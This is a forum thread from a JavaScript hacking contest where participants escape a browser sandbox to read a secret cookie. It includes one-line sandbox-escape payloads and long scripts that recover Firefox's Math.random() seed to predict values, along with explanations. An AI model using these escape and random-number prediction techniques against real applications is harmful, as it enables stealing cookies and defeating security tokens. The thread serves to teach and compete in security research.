Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Script obfuscation, filter evasion, IDS/IPS/WAF bypassing... this is where it should live. Because this topic is too big to live anywhere else. Phj33r! 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
Sandbox escaping // JS hacking contest 1
Posted by: sirdarckcat
Date: July 07, 2009 12:39PM

URL: http://sandbox.sirdarckcat.net/contest1.php

What do you have to do?
Fast answer: Get document.cookie
Long Answer: document.cookie (besides being in the usual places) is inside a JS object as a private variable, in order to get it you are going to use some of your JS skills.

Quote

/* Sandbox escaping contest 1
*               this is a simple task, you have a safe box (called blackbox) that has a secret value inside.
*               you should make a code that is able to retrieve the secret value or the combination that unlocks it.
*
*       The value is protected by OOP closures, so in theory it should be impossible for you to get it.
*       fortunately, there's a bug in the code that allows you to attack it.
*
*       TO START: just click, [eval in sandbox] and you will get the code of the method in charge of unlocking the box.
*       NOTES:
*               > the sandbox is firefox only
*               > if you find a way of reading the top.document.cookie, that's a valid solution
*               > your code should work 100% of the times in less than 1 minute
*               > you can restart the time bans by clicking [reset sandbox] (note that this will change the combination)
*               > you should be able to solve this challenge without requiring the user to open another webpage first
*               > THIS CHALLENGE IS NOT IMPOSSIBLE
*/

Winners by escaping the sandbox (escaping methods have been fixed):
* Stefano Di Paola
* .mario

Winners without escaping the DOM sandbox:
* LeverOne

Have fun!!!!

When you have your code post it here, or send it to me as MP, or mail, or whatever :P.

Greetz!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat



Edited 5 time(s). Last edit at 04/01/2010 02:09AM by sirdarckcat.

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: Anonymous User
Date: July 07, 2009 05:34PM

Quote

blackbox.unwatch.constructor.__parent__.top.document.cookie
blackbox.unwatch.constructor.__parent__.document.cookie
with(blackbox.unwatch.constructor.__parent__)alert(document.cookie)

//topSecret=[a-f0-9]{32}

I am not exactly sure if this is valid but blackbox has an unwatch() method - having a constructor Function() leaking window via __parent__. Rest is self-explanatory.



Edited 3 time(s). Last edit at 07/07/2009 05:48PM by .mario.

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: sirdarckcat
Date: July 07, 2009 08:19PM

haha! I forgot to delete that line hahaha..

It's fixed now, thanks.

If a lot of people find a lot of sandbox escapes we can go to another sandbox haha, anyway I think besides this 2 defineGetter bugs everything should be ok.

Greetz!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: LeverOne
Date: March 29, 2010 02:17PM

GREATEST CONTEST!!!

Quote
sirdarckcat
No one has been able to pass the contest without escaping the DOM sandbox.

I am the first.

Note 1: must be disabled NoScript, Firebug. (tested on Firefox 3.6-3.7)
Note 2: in sandbox code runs 50 seconds, and 30 seconds without. This time can be reduced.
Note 3: We can also get the previous random number, if we know the next random number, or get document.cookie without updating, but it requires more time or troublesome.

BEGIN
//  ---> begin of the random number emulator by LeverOne

var RNG_MULTIPLIER = num2bin64array(25214903917);
var RNG_ADDEND     = num2bin64array(11);
var RNG_MASK       = num2bin64array(281474976710655);

var RNG_DSCALE     = 9.007199254740992E15; 

var rngSeed        = false;

function random_setSeed(seed)
{
   rngSeed = and64( xor64( num2bin64array(seed) , RNG_MULTIPLIER ) , RNG_MASK );
}

function math_random()
{
   return  parseInt( sumbin( [shl64( random_next(26), 27) , random_next(27)] ).join(''), 2) / RNG_DSCALE; 
}


function random_next(bits)
{
   var nextseed = multibin(rngSeed, RNG_MULTIPLIER).slice(-64);
   nextseed     = sumbin( [nextseed, RNG_ADDEND]);
   nextseed     = and64(nextseed, RNG_MASK);
   rngSeed      = nextseed;
   return shr64(nextseed, 48 - bits);
}

//  64bits calculation

function xor64(x, y)      //  x ^ y
{
   z = [];
   for(i=0; i<64; i++) z.push(x ^ y);
   return z;
}


function and64(x, y)      //  x & y
{
   z = [];
   for(i=0; i<64; i++) z.push(x & y);
   return z;
}


function shr64(x, y)     //    x >> y , (analog >>>, bacause x,y - unsigned)
{
   z = [].concat(x);
   for (i=0; i<y; i++) z.pop(), z.unshift(0);
   return z;
}


function shl64(x, y)     //    x << y 
{
   z = [].concat(x);
   for (i=0; i<y; i++) z.shift(), z.push(0);
   return z;
}


function num2bin64array(num)
{
   bin64array = num.toString(2).split('');
   for (i=0; i<bin64array.length; i++) bin64array = +bin64array;
   for (i=64-bin64array.length; i>0; i--) bin64array.unshift(0);
   return bin64array;
}


function multibin(x,y)
{
   z = [];
   order = 0;

   for(i=y.length-1; i>=0; i--)
   {
      z = [];
      for (ii=x.length-1; ii>=0; ii--) z.unshift( y * x[ii] );
      for(ii=0; ii<order; ii++) z.push(0);
      order++;
   }

   for(i=0; i<z.length; i++)
     for(ii=z.length; ii<z[0].length; ii++) z.unshift(0);

   return sumbin(z);
} 


function sumbin(z) 
{
   inmem = 0;
   res = [];
   for(i=z[0].length-1; i>=0; i--)
   {
      a = 0;
      for(ii=0; ii<z.length; ii++) a += z[ii];
      a += inmem;
      if (a & 1)
      {
         inmem = (a-1)/2;
         a = 1;
      }
      else
      {
         inmem = a/2;
         a = 0;
      }
      res.unshift(a);
   }
   if (inmem) res.unshift(1);
   return res;
}

//  ---> end of the random number emulator

//  ---> calculation of the current rngSeed

sum  = (Math.random()*9.007199254740992E15).toString(2);

sum1 = sum.slice(-sum.length,-27);
sum2 = sum.slice(-27);

marker = sum2.substring(0,14);

MIN_multiplier1 = parseInt(sum1 + '0000000000000000000000', 2);   // I know, I know...

MAX_multiplier1 = parseInt(sum1 + '1111111111111111111111', 2) + 1;

RNG_MULTIPLIER2 = 25214903917;

result = [];

for (it=MIN_multiplier1; it<MAX_multiplier1; it++) if((it * RNG_MULTIPLIER2).toString(2).slice(-48,-34) == marker) result.push(it);

for(it=0; it<result.length; it++) 
    if (multibin(num2bin64array(result[it]), num2bin64array(RNG_MULTIPLIER2)).join('').slice(-48,-21) == sum2)
        rngSeed = and64(sumbin([multibin(num2bin64array(result[it]), num2bin64array(RNG_MULTIPLIER2)).slice(-64), RNG_ADDEND]), RNG_MASK);

//  ---> calculation of the next native random number
// alert('custom random:' + math_random() + ' native random:' + Math.random());

alert('1) reset sandbox \r2) eval in sandbox: blackbox.open(Math.floor(' + math_random() + '*1000))');
END

FF's 3.6.2 C++ code (\js\src\jsmath.cpp)

static const int64 RNG_MULTIPLIER = 0x5DEECE66DLL;
static const int64 RNG_ADDEND = 0xBLL;
static const int64 RNG_MASK = (1LL << 48) - 1;
static const jsdouble RNG_DSCALE = jsdouble(1LL << 53);

/*
 * Math.random() support, lifted from java.util.Random.java.
 */
static inline void
random_setSeed(JSThreadData *data, int64 seed)
{
    data->rngSeed = (seed ^ RNG_MULTIPLIER) & RNG_MASK;
}

void
js_InitRandom(JSThreadData *data)
{
    /* Finally, set the seed from current time. */
    random_setSeed(data, PRMJ_Now() / 1000);
}

static inline uint64
random_next(JSThreadData *data, int bits)
{

    uint64 nextseed = data->rngSeed * RNG_MULTIPLIER;
    nextseed += RNG_ADDEND;
    nextseed &= RNG_MASK;
    data->rngSeed = nextseed;
    return nextseed >> (48 - bits);
}

static inline jsdouble
random_nextDouble(JSThreadData *data)
{
 return jsdouble((random_next(data, 26) << 27) + random_next(data, 27)) / RNG_DSCALE;
}

static JSBool
math_random(JSContext *cx, uintN argc, jsval *vp)
{
    jsdouble z = random_nextDouble(JS_THREAD_DATA(cx));
    return js_NewNumberInRootedValue(cx, z, vp);
}


upd 03/30 (slightly better): http://pastebin.com/M0JQCRBb

LeverOne

----------------------
~Veritas~



Edited 6 time(s). Last edit at 03/31/2010 04:51PM by LeverOne.

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: sirdarckcat
Date: March 29, 2010 03:51PM

Hi Lever One!

Weeeell.. thats a cool solution!

I refined the last line of code: http://pastebin.com/KQFXvmym
so now it should work from the 2nd run of the sandbox (till the end of times).

It still requires the code to be evaluated twice in order to win.

Anyway, it's a nice solution :D, I'll add you to the list of winners, with a note :)

It would be cool if you can find the solution that succeeds from the first run! Wisec was so close to find it :D, but he resigned hehe

Greetings!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: LeverOne
Date: March 31, 2010 03:05PM

I DID IT !!!

BEGIN
//  ---> begin of the random number emulator by LeverOne

var RNG_MULTIPLIER = num2bin64array(25214903917);
var RNG_ADDEND     = num2bin64array(11);
var RNG_MASK       = num2bin64array(281474976710655);

var RNG_DSCALE     = 9.007199254740992E15; 

var rngSeed        = false;

function random_setSeed(seed)
{
   rngSeed = and64( xor64( num2bin64array(seed) , RNG_MULTIPLIER ) , RNG_MASK );
}

function math_random()
{
   return  parseInt( sumbin( [shl64( random_next(26), 27) , random_next(27)] ).join(''), 2) / RNG_DSCALE; 
}


function random_next(bits)
{
   var nextseed = multibin(rngSeed, RNG_MULTIPLIER).slice(-64);
   nextseed     = sumbin( [nextseed, RNG_ADDEND]);
   nextseed     = and64(nextseed, RNG_MASK);
   rngSeed      = nextseed;
   return shr64(nextseed, 48 - bits);
}

//  64bits calculation

function xor64(x, y)      //  x ^ y
{
   z = [];
   for(i=0; i<64; i++) z.push(x ^ y);
   return z;
}


function and64(x, y)      //  x & y
{
   z = [];
   for(i=0; i<64; i++) z.push(x & y);
   return z;
}


function shr64(x, y)     //    x >> y , (analog >>>, bacause x,y - unsigned)
{
   z = [].concat(x);
   for (i=0; i<y; i++) z.pop(), z.unshift(0);
   return z;
}


function shl64(x, y)     //    x << y 
{
   z = [].concat(x);
   for (i=0; i<y; i++) z.shift(), z.push(0);
   return z;
}


function num2bin64array(num)
{
   bin64array = num.toString(2).split('');
   for (i=0; i<bin64array.length; i++) bin64array = +bin64array;
   for (i=64-bin64array.length; i>0; i--) bin64array.unshift(0);
   return bin64array;
}


function multibin(x,y)
{
   z = [];
   order = 0;

   for(i=y.length-1; i>=0; i--)
   {
      z = [];
      for (ii=x.length-1; ii>=0; ii--) z.unshift( y * x[ii] );
      for(ii=0; ii<order; ii++) z.push(0);
      order++;
   }

   for(i=0; i<z.length; i++)
     for(ii=z.length; ii<z[0].length; ii++) z.unshift(0);

   return sumbin(z);
} 


function sumbin(z) 
{
   inmem = 0;
   res = [];
   for(i=z[0].length-1; i>=0; i--)
   {
      a = 0;
      for(ii=0; ii<z.length; ii++) a += z[ii];
      a += inmem;
      if (a & 1)
      {
         inmem = (a-1)/2;
         a = 1;
      }
      else
      {
         inmem = a/2;
         a = 0;
      }
      res.unshift(a);
   }
   if (inmem) res.unshift(1);
   return res;
}


//  ---> end of the random number emulator


// ---> if we know only the end of multiplication, we can restore the multiplier.

function get_multiplier(multiplier2,products_end) 
{
   multiplier1 = [];
   multiplier2 = multiplier2.toString(2);
   products_end = num2bin64array(products_end);
   z = [];
   for (i=0; i<multiplier2.length; i++) z = new Array(64), z[0] = +multiplier2;
   inmem = 0;
   for (i=63; i>15; i--)
   {
      a = 0;
      for (ii=multiplier2.length-1; ii>=0; ii--) if (z[ii]) a += z[ii];
      a += inmem;
      if (a & 1)
      {
         if (products_end) inmem = (a-1)/2, multiplier1.unshift(0);
         else                  inmem = (a+1)/2, multiplier1.unshift(1);
      }
      else
      {
         if (products_end) multiplier1.unshift(1);
         else                  multiplier1.unshift(0);
         inmem = a/2;
      }
      for (ii=i,iii=multiplier2.length-1; iii>=0; ii--,iii--)
      { 
         if (z[iii][0]) z[iii][ii] = multiplier1[0]; 
         else           z[iii][ii] = 0;
      }
   }
   return parseInt(multiplier1.join(''), 2);
}


//  ---> calculation of the previous random number using next number.


sum  = (Math.random()*9.007199254740992E15).toString(2);

sum1 = sum.slice(-sum.length,-27);
sum2 = sum.slice(-27);

marker = sum2.substring(0,14);

MIN_multiplier1 = parseInt(sum1 + '0000000000000000000000', 2);   // I know, I know...

MAX_multiplier1 = parseInt(sum1 + '1111111111111111111111', 2) + 1;

RNG_MULTIPLIER2 = 25214903917;

result = [];

for (it=MIN_multiplier1; it<MAX_multiplier1; it++) if((it * RNG_MULTIPLIER2).toString(2).slice(-48,-34) == marker) result.push(it);


for(it=0; it<result.length; it++) 
    if (multibin(num2bin64array(result[it]), num2bin64array(RNG_MULTIPLIER2)).join('').slice(-48,-21) == sum2)
        rngSeed4 = result[it];


rngSeed3 = get_multiplier(RNG_MULTIPLIER2, rngSeed4-11);
rngSeed2 = get_multiplier(RNG_MULTIPLIER2, rngSeed3-11);
rngSeed1 = get_multiplier(RNG_MULTIPLIER2, rngSeed2-11);
rngSeed = num2bin64array(rngSeed1);

blackbox.open(Math.floor(math_random()*1000));
END

Later I will make this code better.

LeverOne

----------------------
~Veritas~



Edited 2 time(s). Last edit at 03/31/2010 04:56PM by LeverOne.

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: Gareth Heyes
Date: April 01, 2010 02:11AM

@LeverOne

Impressive. Very impressive

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: sirdarckcat
Date: April 01, 2010 02:12AM

hahaha awesome leverone, :D

I didn't know you could calculate Math.random() in the past... you rock :D

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: doody
Date: April 02, 2010 11:29AM

So I guess Math.random() isn't really random...

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: thrill
Date: April 02, 2010 11:36AM

Quote

So I guess Math.random() isn't really random...

There is no real random in computers..

--thrill

---

It is not the degrees you hold, but the mind you possess. - thrill

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: sirdarckcat
Date: April 02, 2010 09:36PM

I consider this the best random:

random=sha1(http.GET("http://boards.4chan.org/b/"));

I challenge any hacker or government to reduce randomness of /b/..

Greetings!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: thrill
Date: April 02, 2010 09:59PM

But that random relies on human intervention.. but yes, that really would create a true random algorithm.. and you get some boobies while at it.. not bad! :)

--thrill

---

It is not the degrees you hold, but the mind you possess. - thrill

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: doody
Date: April 16, 2010 08:20AM

Would LeverOne care to share a brief explanation of his code? It's ok if you don't want to.

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: Anonymous User
Date: April 16, 2010 08:45AM

Quote

// ---> begin of the random number emulator by LeverOne

That says it all - he rebuilt something in JS that already exists in C++ ;)

Options: ReplyQuote
Re: Sandbox escaping // JS hacking contest 1
Posted by: LeverOne
Date: April 16, 2010 12:06PM

@doody, Think!

A. The first goal - to manually (in JS) repeat the actions of the browser.
FF (C++) and java.util.Random are using 64-bit integers in bit-shift operation.

But JS uses 32-bit numbers in bit-shift operation. In addition, it has a lower limit of accuracy than the JAVA or C ++.

For example: alert (9999999999999999), alert (55555555555555555).

So we need their own functions, which are able to work with large numbers without error:

multibin - the multiplication of 64-bit integers in binary representation ( alert (parseInt (multibin (num2bin64array (2), num2bin64array (3)).join (''), 2)) );
sumbin - the addition of integers (alert (parseInt (sumbin ([num2bin64array (2), num2bin64array (3)]).join(''), 2))), etc.

This - emulator of the random number generator.


B. The second goal - to find out the previous or next random number.

The main problem: the calculation of random numbers is lost data.

We have 2 cases:

1) For example:

000000000000000011001111110001000001111001**********************
*
0000000000000000000000000000010111011110111011001110011001101101
=
*************************************111100101010000111100110011

To restore a multiplier in the code uses bruteforce (works for about 30 seconds without a sandbox):

Quote

MIN_multiplier1 = parseInt (sum1 + '0000000000000000000000 ', 2);
MAX_multiplier1 = parseInt (sum1 + '1111111111111111111111 ', 2) + 1;

Later I'll do it without bruteforce.

As a result, we have the first known seed (rngSeed4). Then restore the previous (or next) seed and start the emulator (see case 2).

2) For example:

****************************************************************
*
0000000000000000000000000000010111011110111011001110011001101101
=
****************110011111100010000011110010001111111110011111100

To restore an unknown multiplier, I wrote a function get_multiplier (how it works, understand your own).

Subsequently everything is clear.


LeverOne

----------------------
~Veritas~



Edited 1 time(s). Last edit at 07/19/2010 08:11PM by LeverOne.

Options: ReplyQuote


Sorry, only registered users may post in this forum.